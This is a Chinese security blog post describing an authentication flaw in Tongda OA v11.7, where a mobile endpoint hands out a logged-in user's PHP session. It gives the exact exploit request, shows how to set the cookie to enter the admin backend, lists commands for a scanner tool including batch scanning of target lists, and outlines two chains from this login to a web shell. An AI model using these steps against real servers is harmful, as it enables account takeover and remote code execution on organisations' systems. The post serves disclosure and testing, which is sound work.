通达OA v11.7 在线用户登录漏洞

Word count: 316Reading time: 1 min

 2021/03/13   Share

漏洞简述

通达OA v11.7 中存在某接口查询在线用户，当用户在线时会返回 PHPSESSION使其可登录后台系统

影响版本

通达OA < v11.7

漏洞利用

检测当前用户是否存在线

1	http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

不在线

不在线显示 RELOGIN

在线

在线页面空白，但已拿到SESSION

设置Cookie可直接登录后台

1	http://127.0.0.1/general/index.php

工具利用

https://github.com/S1xHcL/TongDa_Scan

# 指定 URL
python3 .\TongDa_Scan.py -u 127.0.0.1

# 指定 uid 进行扫描
python3 .\TongDa_Scan.py -u 127.0.0.1 -i 1

# 批量扫描，默认扫描UID为1
python3 .\TongDa_Scan.py -f ./list.txt

待更新

多线程，加快扫描速度
自动getshell

方法一

任意用户登录 -> 低权限文件上传 -> 目录穿越 -> 任意文件包含 -> getshell

通达OA代码审计篇 - 11.7 有条件的任意命令执行

方法二

任意用户登录 -> 获取安装目录 -> 任意文件读取(redis账号密码) -> ssrf写文件 -> getshell

通达OA11.7 利用新思路（附EXP）

引用

通达OA v11.7 在线用户登录漏洞 · PeiQi WiKi文库

Author：S1xHcL

原文链接：https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/

发表日期：March 13th 2021, 3:10:30 pm

更新日期：March 13th 2021, 3:57:35 pm

Next Post

对某棋牌站的一次getshell
Previous Post

CNVD-2021-14536-POC

CATALOG

1. 漏洞简述
2. 影响版本
3. 漏洞利用
4. 工具利用
5. 待更新
1. 5.1. 方法一
2. 5.2. 方法二
6. 引用



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true